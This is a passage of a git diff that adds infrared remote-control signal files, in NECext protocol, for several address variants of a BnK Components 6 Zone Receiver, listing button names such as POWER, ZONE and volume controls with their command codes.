D0 00 00 +command: 3E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 3F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 40 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 40 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 4A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 4A 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 4B 00 00 00 +# +name: PSET_UP +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 4B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 4B 00 00 00 +# +name: D_IN +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 5A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 5A 00 00 00 +# +name: BASS_- +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 65 00 00 00 +# +name: BASS_DN +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 65 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 65 00 00 00 +# +name: SOURCE_+ +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 66 00 00 00 +# +name: SOURCE_UP +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 66 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 66 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 76 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 79 00 00 00 +# +name: TREB_DN +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 79 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 7D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 8E 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: A2 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: A2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: A2 00 00 00 +# +name: SOURCE_- +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: A6 00 00 00 +# +name: SOURCE_DN +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: A6 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: C6 00 00 00 +# +name: PSET_DN +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: C6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: C6 00 00 00 +# +name: LOUDNESS +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: CF 00 00 00 +# +name: LOUD +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: CF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: CF 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: E5 00 00 00 +# +name: BASS_UP +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: E5 00 00 00 +# +name: M +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: EB 00 00 00 +# +name: M_[STM] +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: EB 00 00 00 +# +name: TREBLE_+ +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: F9 00 00 00 +# +name: TREB_UP +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: F9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: F9 00 00 00 +# +name: V+ +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: FA 00 00 00 +# +name: VIDEO_+ +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/243,192.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/243,192.ir new file mode 100644 index 000000000..032a5ad9d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/243,192.ir @@ -0,0 +1,458 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 02 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 05 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 0D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 0F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 0F 00 00 00 +# +name: STA_DN +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 17 00 00 00 +# +name: STA_UP +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 18 00 00 00 +# +name: TUNE_DN +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 1B 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 1C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 1F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 20 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 20 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 23 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 23 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 24 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 29 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 2D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 2E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 30 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 30 00 00 00 +# +name: SELECT_ENTER +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 31 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 33 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 39 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 3A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 3B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 3E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 40 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 4A 00 00 00 +# +name: PSET_UP +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 4B 00 00 00 +# +name: D_IN +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 5A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 5A 00 00 00 +# +name: BASS_DN +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 65 00 00 00 +# +name: SOURCE_UP +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 66 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 76 00 00 00 +# +name: TREB_DN +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 79 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 79 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 8E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: A2 00 00 00 +# +name: SOURCE_DN +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: A6 00 00 00 +# +name: PSET_DN +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: C6 00 00 00 +# +name: LOUD +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: CF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: CF 00 00 00 +# +name: BASS_UP +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: E5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: E5 00 00 00 +# +name: M_[STM] +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: EB 00 00 00 +# +name: TREB_UP +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: F9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: F9 00 00 00 +# +name: VIDEO_+ +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/251,64.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/251,64.ir new file mode 100644 index 000000000..8af08317e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/251,64.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 0F 00 00 00 +# +name: STA_DN +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 17 00 00 00 +# +name: STA_UP +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 18 00 00 00 +# +name: TUNE_DN +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 1B 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 1C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 1F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 20 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 23 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 29 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 2D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 30 00 00 00 +# +name: SELECT_ENTER +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 40 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 4A 00 00 00 +# +name: PSET_UP +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 4B 00 00 00 +# +name: D_IN +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 5A 00 00 00 +# +name: BASS_DN +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 65 00 00 00 +# +name: SOURCE_UP +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 66 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 76 00 00 00 +# +name: TREB_DN +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 79 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 8E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: FB 40 00 00 +command: A2 00 00 00 +# +name: SOURCE_DN +type: parsed +protocol: NECext +address: FB 40 00 00 +command: A6 00 00 00 +# +name: PSET_DN +type: parsed +protocol: NECext +address: FB 40 00 00 +command: C6 00 00 00 +# +name: LOUD +type: parsed +protocol: NECext +address: FB 40 00 00 +command: CF 00 00 00 +# +name: BASS_UP +type: parsed +protocol: NECext +address: FB 40 00 00 +command: E5 00 00 00 +# +name: M_[STM] +type: parsed +protocol: NECext +address: FB 40 00 00 +command: EB 00 00 00 +# +name: TREB_UP +type: parsed +protocol: NECext +address: FB 40 00 00 +command: F9 00 00 00 +# +name: VIDEO_+ +type: parsed +protocol: NECext +address: FB 40 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/27,78.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/27,78.ir new file mode 100644 index 000000000..b813b71a0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/27,78.ir @@ -0,0 +1,386 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0F 00 00 00 +# +name: STA_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 17 00 00 00 +# +name: STA_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 18 00 00 00 +# +name: TUN_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1B 00 00 00 +# +name: TUN_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1C 00 00 00 +# +name: CUR_LEFT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1F 00 00 00 +# +name: CUR_RIGHT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 24 00 00 00 +# +name: ALL_OFF +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 28 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 29 00 00 00 +# +name: CUR_DOWN +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2D 00 00 00 +# +name: CUR_UP +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 30 00 00 00 +# +name: SEL/ENTER +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 40 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 4A 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 4B 00 00 00 +# +name: ALL_VOL_-20 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 58 00 00 00 +# +name: D-IN +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 5A 00 00 00 +# +name: BASS_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 65 00 00 00 +# +name: SOURCE_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 66 00 00 00 +# +name: ALL_VOL_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 68 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 76 00 00 00 +# +name: ALL_VOL_MUTE_TOGGLE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 78 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 79 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8E 00 00 00 +# +name: ALL_VOL_0 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 98 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: A2 00 00 00 +# +name: SOURCE_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: A6 00 00 00 +# +name: ALL_ON +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: A8 00 00 00 +# +name: ALL_VOL_-60 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: B8 00 00 00 +# +name: AALL_VOL_-60 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: B8 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: C6 00 00 00 +# +name: LOUDNESS +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: CF 00 00 00 +# +name: ALL_VOL_-40 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: D8 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: E5 00 00 00 +# +name: ALL_VOL_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: E8 00 00 00 +# +name: M +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: EB 00 00 00 +# +name: TREBLE_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: F9 00 00 00 +# +name: V+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/43,77.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/43,77.ir new file mode 100644 index 000000000..06d136b8c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/43,77.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 0F 00 00 00 +# +name: STA_- +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 17 00 00 00 +# +name: STA_+ +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 18 00 00 00 +# +name: TUN_- +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 1B 00 00 00 +# +name: TUN_+ +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 1C 00 00 00 +# +name: CUR_LEFT +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 1F 00 00 00 +# +name: CUR_RIGHT +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 29 00 00 00 +# +name: CUR_DOWN +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 2D 00 00 00 +# +name: CUR_UP +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 30 00 00 00 +# +name: SEL/ENTER +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 40 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 4A 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 4B 00 00 00 +# +name: D-IN +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 5A 00 00 00 +# +name: BASS_- +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 65 00 00 00 +# +name: SOURCE_+ +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 66 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 76 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 79 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 8E 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: A2 00 00 00 +# +name: SOURCE_- +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: A6 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: C6 00 00 00 